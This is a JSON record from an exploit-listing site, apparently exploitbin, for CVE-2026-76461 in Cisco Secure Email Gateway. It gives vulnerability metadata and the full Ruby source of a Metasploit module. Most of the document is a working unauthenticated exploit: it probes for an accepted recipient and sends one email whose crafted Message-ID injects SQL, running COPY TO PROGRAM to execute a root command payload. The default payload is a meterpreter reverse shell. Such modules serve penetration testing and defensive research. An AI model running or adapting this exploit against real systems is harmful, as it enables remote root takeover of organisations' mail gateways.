{"exploit":{"id":"MSF-unix--smtp--cisco_secure_email_gateway_ecs_sqli_rce","name":"Cisco Secure Email Gateway ECS Message-ID SQL Injection RCE","description":"This module exploits an unauthenticated SQL injection in the Cisco Secure Email Gateway (SEG) Email Cloud Scanner (ECS) URL-retrospective message database. A sender-controlled Message-ID is placed inside a fixed PostgreSQL dollar-quoted string without escaping. The module sends one email whose quoted Message-ID terminates that string, stacks COPY TO PROGRAM, and executes a Unix command payload as root through AsyncOS runas. The check identifies the product through Cisco SEG's hidden SMTP queue-status command. AsyncOS does not expose a version through a benign SMTP command, so the check can only identify the product but not if it is explicitly vulnerable. URL Filtering and URL Retrospective Service must both be enabled.","cves":["CVE-2026-76461"],"author":"sfewer-r7","published":"2026-09-14","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/unix/smtp/cisco_secure_email_gateway_ecs_sqli_rce.rb","path":"modules/exploits/unix/smtp/cisco_secure_email_gateway_ecs_sqli_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"cisco_secure_email_gateway_ecs_sqli_rce.rb","vulnerabilities":[{"id":"CVE-2026-76461","state":"PUBLISHED","title":"Cisco Secure Email Gateway SQL Injection Vulnerability","titleSource":"CVE Program","description":"A vulnerability in the email parsing of Cisco AsyncOS Software for Cisco Secure Email Gateway could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on the underlying operating system. This vulnerability is due to insufficient validation in the email parsing logic. An attacker could exploit this vulnerability by sending a crafted email message that contains malicious SQL statements through an affected device. A successful exploit could allow the attacker to execute arbitrary SQL statements, leading to command execution with root privileges on the underlying operating system.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-76461","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"cisco","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-76461"},"updatedAt":"2026-09-18T12:10:27.392Z","retrievedAt":"2026-11-25T16:13:33.939Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-unix--smtp--cisco_secure_email_gateway_ecs_sqli_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-unix--smtp--cisco_secure_email_gateway_ecs_sqli_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-unix--smtp--cisco_secure_email_gateway_ecs_sqli_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-unix--smtp--cisco_secure_email_gateway_ecs_sqli_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::SMTPDeliver\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Cisco Secure Email Gateway ECS Message-ID SQL Injection RCE',\n        'Description' => %q{\n          This module exploits an unauthenticated SQL injection in the Cisco\n          Secure Email Gateway (SEG) Email Cloud Scanner (ECS) URL-retrospective\n          message database. A sender-controlled Message-ID is placed inside a fixed\n          PostgreSQL dollar-quoted string without escaping. The module sends one\n          email whose quoted Message-ID terminates that string, stacks COPY TO\n          PROGRAM, and executes a Unix command payload as root through AsyncOS\n          runas.\n\n          The check identifies the product through Cisco SEG's hidden SMTP\n          queue-status command. AsyncOS does not expose a version through a\n          benign SMTP command, so the check can only identify the product but not\n          if it is explicitly vulnerable.\n\n          URL Filtering and URL Retrospective Service must both be enabled.\n        },\n        'Author' => [\n          'sfewer-r7' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          # This is the likely CVE attribution as the Cisco IOC for /COPY.*TO PROGRAM/ in mail_logs will match.\n          [ 'CVE', '2026-76461' ],\n          [ 'URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-inj-2bLVGmhX' ]\n        ],\n        'DisclosureDate' => '2026-09-14',\n        'Privileged' => true,\n        'Payload' => {\n          # Even with a one-byte valid recipient domain, the fixed RFC/SQL/runas framing consumes\n          # 171 of the 998 available header bytes. Space therefore bounds the largest Framework\n          # command that can ever fit; the actual domain-dependent limit is checked below.\n          'Space' => 827,\n          'DisableNops' => true,\n          # Some compatible payloads call the non-POSIX `which` utility, which AsyncOS omits.\n          # Supply the same lookup through the shell's POSIX `command -v` builtin. Framework\n          # payloads pass one command name, so this preserves their normal fallback behavior.\n          'Prepend' => 'which(){ command -v $@;};',\n          # The selected command is nested in an RFC quoted Message-ID, a PostgreSQL string, and\n          # a shell-quoted `runas ... sh -c` argument. Encode control/non-ASCII bytes plus the\n          # quote and escape characters that any of those layers could consume or transform.\n          'BadChars' => [ *(0x00..0x1f), 0x22, 0x27, 0x5c, *(0x7f..0xff) ].pack('C*'),\n          # The command adapter and telnet payload both contain forbidden shell quoting. Let the\n          # Framework make them safe instead of adding a second module-specific payload encoding.\n          'Encoder' => 'cmd/base64',\n          # AsyncOS supplies OpenSSL, so use a known decoder instead of relying on a PATH search\n          # for a base64 utility whose supported command-line switches vary between systems.\n          'EncoderOptions' => { 'Base64Decoder' => 'openssl' }\n        },\n        'Targets' => [\n          [\n            # Tested with the following payloads:\n            # * cmd/unix/python/meterpreter/reverse_tcp\n            # * cmd/unix/reverse\n            # * cmd/unix/reverse_openssl\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp' } # rubocop:disable Lint/ModuleDefaultPayload\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          # SMTP acceptance only queues the message. ECS uses a stock 300-second polling\n          # interval, but its idle DB writer sleeps for half of it, delaying SQL execution\n          # by up to 150 seconds; allow the full interval for processing and payload startup.\n          'WfsDelay' => 300\n        },\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'Reliability' => [ REPEATABLE_SESSION ],\n          'SideEffects' => [ IOC_IN_LOGS ]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('MAILFROM', [ false, 'Email sender address']),\n      OptString.new('MAILTO', [ false, 'Email recipient address accepted by the gateway']),\n      OptString.new('SUBJECT', [ false, 'Email subject'])\n    ])\n  end\n\n  def check\n    # Use the same negotiated SMTP session as delivery so this fingerprint also works when the\n    # listener requires STARTTLS or supported SMTP authentication.\n    connect_login\n\n    # EUQ_FULL is an undocumented, AsyncOS SMTP command.\n    response = smtp_send_recv(\"EUQ_FULL\\r\\n\").to_s\n\n    # This proves the target is running AsyncOS, but it may be either Cisco Secure Email Gateway or Cisco Secure Web\n    # Appliance. It cannot distinguish a vulnerable release from a fixed release.\n    # We could also try the HTTPS service, as that reports teh product type and version, but then we assume\n    # access to that interface/port which may not be true.\n    return CheckCode::Detected('Detected an SMTP service on AsyncOS. Target is likely a Cisco Secure Email Gateway.') if response.match?(/\\A(?:250 EUQ not full|491 #4\\.9\\.1 EUQ database full)\\r\\n\\z/)\n\n    CheckCode::Unknown('Detected an SMTP service, but the target does not appear to be a Cisco Secure Email Gateway')\n  rescue Rex::ConnectionError, Rex::TimeoutError, Msf::Exploit::Remote::SMTPDeliver::SMTPCommunicationError, EOFError => e\n    CheckCode::Unknown(e.message)\n  ensure\n    disconnect if connected?\n  end\n\n  def exploit\n    # Each run needs a new Message-ID so repeated tests never reuse ECS message state.\n    nonce = Rex::Text.rand_text_hex(16).downcase\n\n    program = payload_program\n\n    # Discover an address the gateway accepts instead of assuming its configured mail domain.\n    recipient = discover_recipient(nonce)\n\n    domain = recipient.split('@', 2).last\n\n    # By default, use the discovered local domain instead of a hard-coded sender domain.\n    sender = datastore['MAILFROM'].blank? ? \"#{nonce}@#{domain}\" : datastore['MAILFROM']\n\n    # A random default subject avoids a fixed network indicator; SUBJECT remains available for tracing.\n    subject = datastore['SUBJECT'].blank? ? nonce : datastore['SUBJECT']\n\n    message_id = build_message_id(program, nonce, domain)\n\n    # Payload Space does not include the SQL syntax, runas wrapper, or recipient domain. Validate\n    # the final representation so successful delivery never depends on a non-conforming SMTP line.\n    fail_with(Failure::BadConfig, 'Encoded payload makes the Message-ID header exceed 998 bytes') if \"Message-ID: #{message_id}\".bytesize > 998\n\n    print_status('Generating the ECS exploit email')\n\n    email = build_message(message_id, nonce, sender, recipient, subject)\n\n    print_status(\"Sending #{email.bytesize}-byte ECS exploit email\")\n\n    response = deliver_message(email, 'MAILFROM' => sender, 'MAILTO' => recipient)\n\n    # SMTP success means the gateway queued the message; ECS executes the payload asynchronously.\n    fail_with(Failure::UnexpectedReply, 'SMTP DATA was not accepted') unless response&.start_with?('250')\n\n    print_good('Exploit email accepted (payload can take 5 minutes to trigger)')\n  end\n\n  def discover_recipient(nonce)\n    # Recipient policy can depend on TLS and authentication, so negotiate the session before\n    # testing any envelope. RSET preserves that session while clearing each test envelope.\n    connect_login\n\n    # Prefer an operator-supplied mailbox when one is known to be valid.\n    candidates = [ datastore['MAILTO'] ].compact.reject(&:blank?)\n\n    if candidates.empty?\n      # SMTP banners normally contain the gateway hostname, not a mailbox address.\n      hostname = banner.to_s[/\\A220\\s+([^\\s]+)/, 1].to_s.downcase\n\n      labels = hostname.split('.')\n\n      # Try the hostname and its parent domains, but never send message data during these probes.\n      candidates = labels.each_index.filter_map { |index| labels[index..].join('.') if labels.length - index >= 2 }\n    end\n\n    candidates.each do |address_or_domain|\n      address = address_or_domain.include?('@') ? address_or_domain : \"#{nonce}@#{address_or_domain}\"\n\n      next unless address.match?(/\\A[^\\s<>@]+@[a-z0-9.-]+\\z/i)\n\n      return address if recipient_accepted?(address, nonce)\n    end\n\n    fail_with(Failure::BadConfig, 'Could not discover an accepted recipient domain; set MAILTO')\n  ensure\n    disconnect if connected?\n  end\n\n  def deliver_message(message, envelope)\n    # SMTPDeliver reads MAILFROM and MAILTO from the shared datastore.\n    original = envelope.keys.to_h { |key| [ key, datastore[key] ] }\n\n    # Use values derived for this one message, then restore the operator's settings in ensure.\n    envelope.each { |key, value| datastore[key] = value }\n\n    send_message(message)\n  ensure\n    original&.each { |key, value| datastore[key] = value }\n  end\n\n  def recipient_accepted?(address, nonce)\n    domain = address.split('@', 2).last\n\n    # Recipient policy can depend on the envelope sender, so probe with the same normalized sender\n    # that SMTPDeliver uses for the final message.\n    sender = datastore['MAILFROM'].blank? ? \"#{nonce}@#{domain}\" : datastore['MAILFROM'].strip\n\n    return false if bad_address(sender)\n\n    return false unless smtp_send_recv(\"MAIL FROM: <#{sender}>\\r\\n\").to_s.start_with?('250')\n\n    # SMTPDeliver proceeds only after code 250, so discovery must use the same requirement.\n    accepted = smtp_send_recv(\"RCPT TO: <#{address}>\\r\\n\").to_s.start_with?('250')\n\n    # RSET discards the test envelope so discovery never queues an email.\n    smtp_send_recv(\"RSET\\r\\n\")\n\n    accepted\n  end\n\n  def payload_program\n    # PostgreSQL starts PROGRAM through its unprivileged shell. Pass the Framework-encoded command\n    # as one argument to the setuid runas helper so no pipeline stage executes before UID 0.\n    \"/data/bin/runas root /bin/sh -c '#{payload.encoded}'\"\n  end\n\n  def build_message_id(program, nonce, domain)\n    # During final inbound processing, AsyncOS passes the parsed Message-ID to ECS's\n    # update_query_message_store(), which directly inserts it into this PostgreSQL expression:\n    #   SET message_id = $msg_id$<Message-ID>$msg_id$, ...\n    # `$msg_id$` is a fixed dollar-quote delimiter, so the same token in the header ends the\n    # intended string and makes the rest of the header SQL syntax.\n    #\n    # The malicious id-left turns that query into three statements:\n    #   1. `WHERE FALSE` finishes the original UPDATE as a harmless no-op.\n    #   2. `COPY ... TO PROGRAM` runs the supplied program, whose runas command reaches root.\n    #   3. A replacement UPDATE opens another dollar-quoted value; the original delimiter and\n    #      query suffix then close that value and finish valid SQL.\n    # PostgreSQL accepts an UPDATE that changes zero rows, so this works without knowing the\n    # appliance-generated UUID or requiring a matching messages_store row.\n\n    # PROGRAM is a single-quoted SQL value. Payload BadChars leave only the module-owned shell\n    # quotes, which are doubled here for PostgreSQL and restored before the outer shell sees them.\n    # Backslashes are excluded because this appliance uses standard_conforming_strings=off.\n    escaped_program = program.gsub(\"'\", \"''\")\n\n    id_left = \"#{nonce}$msg_id$ WHERE FALSE; COPY (SELECT '') TO PROGRAM '#{escaped_program}'; UPDATE messages_store SET message_id = $msg_id$\"\n\n    # A quoted local part permits the SQL punctuation in a syntactically valid Message-ID. The\n    # `\"@domain>` suffix becomes data in the replacement UPDATE instead of being parsed as SQL.\n    %(<\"#{id_left}\"@#{domain}>)\n  end\n\n  def build_message(message_id, nonce, sender, recipient, subject)\n    message = Rex::MIME::Message.new\n    message.mime_defaults\n    message.from = \"<#{sender}>\"\n    message.to = \"<#{recipient}>\"\n    message.subject = subject\n    message.header.set('Message-ID', message_id)\n    message.add_part(nonce, 'text/plain; charset=us-ascii', '7bit')\n\n    message.to_s\n  end\nend\n","sha256":"d40e4ce15221e03c87847fc5648aa9bb4051b6e3bdf8fa1d861804710ca44741","bytes":12408,"fetchedAt":"2026-11-25T16:31:00.248Z","encoding":"utf-8 (display only; download retains original bytes)"}